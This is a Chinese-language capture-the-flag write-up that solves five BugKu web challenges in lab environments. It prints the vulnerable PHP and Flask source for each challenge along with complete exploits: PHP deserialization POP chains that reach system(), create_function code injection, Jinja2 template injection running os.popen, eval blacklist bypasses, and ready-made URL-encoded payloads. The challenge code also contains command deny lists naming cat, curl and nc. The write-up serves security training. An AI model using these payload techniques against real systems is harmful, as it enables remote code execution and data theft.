BugKuCTF-WEB超详细解题思路(51-55)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

兔年大吉2

unserialize-Noteasy

Simple_SSTI_2

闪电十六鞭

安慰奖


兔年大吉2

题目信息

打开靶场发现一大堆php代码

进入靶场后,首先会获得一段 PHP 源代码(建议复制给 AI 辅助梳理类与魔术方法的关系)。核心代码如下:

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
​
# 最终执行命令的类
class Happy{
    private $cmd;
    private $content;
    public function __construct($cmd, $content) { ... }
    public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); }
    public function __wakeup() { die("Wishes can be fulfilled"); }
}
​
# 中间触发类
class Nevv{
    private $happiness;
    public function __invoke() { return $this->happiness->check(); }
}
​
# 中间触发类
class Rabbit{
    private $aspiration;
    public function __set($name, $val) { return $this->aspiration->family; }
}
​
# 入口类(反序列化起点)
class Year{
    public $key;
    public $rabbit;
    public function __construct($key) { $this->key = $key; }
    public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; }
    public function __get($name) { $name = $this->rabbit; $name(); }
    public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); } }
}
​
if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
} else {
    echo "过新年啊~过个吉祥年~";
}
?>

各魔术方法触发条件总结:

魔术方法 触发时机
__wakeup() 反序列化时自动调用
__destruct() 对象销毁时自动调用
__call($name, $args) 调用不存在或不可访问的方法时
__get($name) 读取不可访问的属性时
__set($name, $value) 给不可访问的属性赋值时
__invoke() 将对象当作函数调用时

四、解题思路(POP 链构造)

1. 核心攻击目标 最终目标是触发 Happy 类的 __call 方法,进而执行: call_user_func($this->cmd, $this->content);(实现任意命令执行)。

2. 反向推导 POP 链(从后向前推)

  • 触发 Happy::__call :需要调用一个不存在的方法。在 Nevv::__invoke 中存在 $this->happiness->check(),只要 $happinessHappy 对象且没有 check() 方法,即可触发。

  • 触发 Nevv::__invoke :需要将对象当作函数调用。在 Year::__get 中有 $name = $this->rabbit; $name();,只要 $rabbitNevv 对象即可触发。

  • 触发 Year::__get :需要读取不可访问的属性。在 Rabbit::__set 中有 return $this->aspiration->family;,只要 $aspirationYear 对象,且 family 属性不可访问,即可触发。

  • 触发 Rabbit::__set :需要给不可访问的属性赋值。在 Year::firecrackers 中有 $this->rabbit->wish = "allkill QAQ";,只要 $rabbitRabbit 对象即可触发。

  • 触发 Year::firecrackers :在 Year::__destruct 中,只要 $key 等于 "happy new year",销毁对象时自动触发。

3. 完整 POP 链执行流程

  1. 反序列化 Year 对象,脚本结束触发 Year::__destruct

  2. 判断 $key == "happy new year" 成立,调用 firecrackers()

  3. 执行 $this->rabbit->wish = "allkill QAQ",触发 Rabbit::__set

  4. Rabbit::__set 中执行 return $this->aspiration->family,触发 Year::__get

  5. Year::__get 中执行 $name = $this->rabbit; $name();,触发 Nevv::__invoke

  6. Nevv::__invoke 中执行 return $this->happiness->check(),触发 Happy::__call

  7. 最终执行 call_user_func("system", "cat /flag"),成功实现 RCE。

避坑提示:

  • 私有属性序列化 :类中的 private 属性在序列化时,属性名必须带上类名和 \x00 前缀(在实际构造中,原生 PHP 的 serialize() 会自动处理)。

  • 绕过 __wakeup 限制 :因为 Happy 对象在 POP 链中并非最外层直接反序列化的对象,因此 __wakeup 不会被触发,无需特殊绕过。


五、解题过程与 Payload 生成

利用 PHP 脚本直接构造序列化数据。将以下代码保存为 payload.php,并在终端执行 php payload.php,或者直接在终端中粘贴 PHP 代码运行。

Payload 生成代码:

复制代码
<?php
class Happy {
    private $cmd = "system";
    private $content = "ls;cat /flag 2>&1";
}
class Nevv {
    private $happiness;
    function __construct($a) {
        $this->happiness = $a;
    }
}
class Rabbit {
    private $aspiration;
    function __construct($a) {
        $this->aspiration = $a;
    }
}
class Year {
    public $key = "happy new year";
    public $rabbit;
    function __construct($a) {
        $this->rabbit = $a;
    }
}
$a = new Year(new Rabbit(new Year(new Nevv(new Happy()))));
echo urlencode(serialize($a));
?>

最终提交 Payload: 运行上述脚本后,你会得到一串 URL 编码后的字符串。

复制代码
O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A17%3A%22ls%3Bcat+%2Fflag+2%3E%261%22%3B%7D%7D%7D%7D%7D

将其作为 pop 参数拼接到靶机 URL 后面,如: http://靶机地址/?pop=O%3A4%3A...

点击访问后,页面便会自动执行 cat /flag 命令,将根目录下的 Flag 文件内容直接回显到网页上,获取最终的 flag{...}

unserialize-Noteasy

题目信息

一、题目背景与代码分析

题目给出了一段 PHP 类代码,核心逻辑如下:

复制代码
<?php
if (isset($_GET['p'])) {
    $p = unserialize($_GET['p']);
}
show_source("index.php");
​
class Noteasy
{
    private $a;
    private $b;
​
    public function __construct($a, $b) { ... }
​
    public function __destruct()
    {
        $a = (string)$this->a;
        $b = (string)$this->b;
        $this->check($a.$b);
        $a("", $b);  // 关注点:此处变量 $a 作为函数名,$b 作为参数被调用
    }
​
    private function check($str)
    {
        // 黑名单:拦截了常见的系统命令执行关键字
        if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
    }
}
?>

代码通过 GET 参数 p 接收反序列化字符串。当 Noteasy 对象销毁时,会触发 __destruct() 魔术方法。


二、核心漏洞点:create_function 代码注入

观察 __destruct() 中的代码 $a("", $b);

  • $a$b 是我们可控的字符串。

  • 如果 $a 等于字符串 "create_function",这句话就会被 PHP 解析为 create_function("", $b);

  • 原理create_function 会动态创建一个匿名函数。如果我们给 $b 传入精心构造的字符串,就可以闭合原有函数体,注入恶意的 PHP 代码,从而实现任意代码执行(RCE)。


三、绕过过滤机制

题目中的 check() 方法使用了黑名单: (ls|find|cat|grep|head|tail|echo) 传统的 system("cat /flag") 会被直接拦截。因此,我们可以选择不使用系统命令,而是直接调用 PHP 原生的文件读取函数。

绕过方案:

  • 采用 readfile('/flag') 读取 Flag 文件。

  • 该函数不会被 preg_match 的黑名单拦截,且能直接回显文件内容。

  • 利用 // 注释符号,将生成函数时末尾多余的 } 完美注释掉,避免代码语法错误。


四、POP 链构造与反序列化推导

为了让程序成功走到 __destruct() 并触发注入,我们需要构造反序列化字符串。 需要注意的是,$a$b 是类的私有属性(private 。在 PHP 中进行 serialize() 时,私有属性名会被加上空字节前缀(形如 \0Class\0Attribute,URL 编码后为 %00)。我们在生成 Payload 时会直接使用内置的 serialize() 并配合 urlencode() 处理,无需手动拼接,只需保证代码中的变量值正确即可。

攻击链流程复盘:

  1. 攻击者构造一个 Noteasy 对象,将属性 $a 设为 "create_function"$b 设为 "}readfile('/flag');//"

  2. 将对象序列化并 URL 编码后,作为 p 参数传给靶机。

  3. 靶机触发 unserialize(),生成对象。

  4. 脚本执行完毕,Noteasy 对象自动销毁,触发 __destruct()

  5. 通过 $a("", $b) 触发 create_function("", "}readfile('/flag');//")

  6. PHP 动态生成匿名函数,注入的 readfile('/flag'); 代码被成功执行,Flag 直接回显。


五、最终 EXP(漏洞利用)脚本与 Payload

将以下代码保存为 exp.php 并在本地运行(或直接在 PHP 命令行中粘贴执行):

复制代码
<?php
class Noteasy {
    private $a;
    private $b;
    public function setAB($a, $b) {
        $this->a = $a;
        $this->b = $b;
    }
}
​
// 创建对象并设置恶意属性
$obj = new Noteasy();
//$obj->setAB('create_function', ';}system(\'l\s /\');;//');
$obj->setAB('create_function', '}readfile(\'/flag\');//');
//$obj->setAB('create_function', ';}system(\'tac /flag\');;//');
​
// 序列化对象
$payload = serialize($obj);
​
// 输出 URL 编码后的 payload
echo "URL Encoded Payload: " . urlencode($payload) . "\n";
?>

最终提交 Get 请求: 在终端运行上述代码后,你会得到一行类似 O%3A7%3A%22Noteasy%22... 的 URL 编码字符串,

复制代码
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A21%3A%22%7Dreadfile%28%27%2Fflag%27%29%3B%2F%2F%22%3B%7D

将其拼接在题目 URL 后面:

复制代码
http://靶机地址/?p=O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A...

访问该链接,服务器就会自动执行 readfile('/flag');,将 Flag 文件的内容直接显示在响应页面中。至此,题目成功解决。

Simple_SSTI_2

题目信息

一、寻找注入点

进入靶场后,页面提示:You need pass in a parameter named flag 。 这说明我们需要通过 GET 方式传入一个名为 flag 的参数。通过测试,发现该参数存在**服务端模板注入(SSTI)**漏洞,运行环境为 Flask / Jinja2。

二、构造 Payload 探测路径

为了寻找 Flag 文件的实际存放路径,我们可以利用 Flask 的全局对象 config 向上回溯,调用 Python 内置的 os.popen 执行系统命令:

  1. 查看上级目录文件列表:

    复制代码
    ?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}

    执行后,通过页面回显排查发现目标文件并未直接暴露在上级目录中。

  2. 进一步探测 ../app 目录:

    复制代码
    ?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}

    此时页面成功回显出 ../app 目录下存在一个名为 flag 的文件。

三、读取最终 Flag

拿到确切路径后,直接使用 cat 命令读取 ../app/flag 文件的内容。

最终的 Payload(注意末尾必须有两个 }} 闭合模板语法):

复制代码
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}

提交后,靶机页面会直接执行系统命令,将 ../app/flag 文件的内容回显出来,成功拿到 flag{...}

闪电十六鞭

题目信息

一、源码审计与条件分析

进入靶场后,得到如下 PHP 代码:

复制代码
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
​
if (!isset($_GET['flag'])) {
    echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
    echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
    echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
    echo $flag;
}
else {
    echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
?>

目标: 通过传入参数 flag,让 eval() 执行并获取 Flag。

核心限制条件:

  1. 长度限制: strlen($_GET['flag']) 必须等于 $exam 的长度(由 sha1(time()) 生成的动态哈希确定,固定 40 位,加上前缀 return'' 共 48 或 49 个字符)。

  2. 黑名单拦截: 正则拦截了 ".\()[]_,以及 flagechoprint 等敏感关键字。这导致我们无法使用常规的方式直接拼接字符串或调用函数。

二、绕过思路与 Payload 构造

1. 绕过黑名单,生成 flag 字符串

因为黑名单过滤了 "_flag,我们不能直接写 $a = "flag"。 我们可以利用 PHP 的 字符串偏移修改特性,分两步动态拼接:

  • $a='fla1'; (初始化 $a"fla1",避开了 flag 的黑名单)

  • $a{3}='g';{3} 表示修改字符串第 4 个字符,把数字 1 替换成字母 g,此时 $a 成功变成 "flag"

2. 绕过 strlen 长度限制

为了满足 strlen 的判断,我们在 Payload 的最后填充大量无用的字符(如 111111...),使总长度与 $exam 的哈希长度完全一致。

3. 利用 eval 执行并输出 Flag

因为黑名单禁用了 echoprint,我们使用 PHP 的短标签 <?= ... ?> 来直接打印变量。 最终构造的 Payload 中,包含 ?> 闭合了 eval 的 PHP 环境,随后立即用 <?= $$a;?> 直接向页面输出全局变量 $flag$$a 等价于 $flag)。


三、最终完整 Payload

将下面这段 Payload 作为 flag 参数传入(末尾的 111111... 用于凑齐长度):

复制代码
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111

执行推演:

  1. eval() 解析第一句,把 $a 变成 "flag"

  2. ?> 短标签闭合当前 PHP 解析,让接下来的内容原样输出。

  3. <?=$$a;?> 触发输出 $flag,Flag 直接显示在网页上。

  4. 最后的 111... 补齐了哈希的长度,绕过第一道门槛。

提交该 Payload 后,页面上就会直接爆出 flag{...}

安慰奖

题目信息

进入靶场看源代码发现个编码,解一下

解码

提示备份

开始扫后台 得到备份文件index.php.bak 得到php代码

复制代码
<?php
​
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }
​
    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
​
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

可以开始反序列化操作了

复制代码
/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

得到当前所有文件

复制代码
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}

得到flag.php文件内容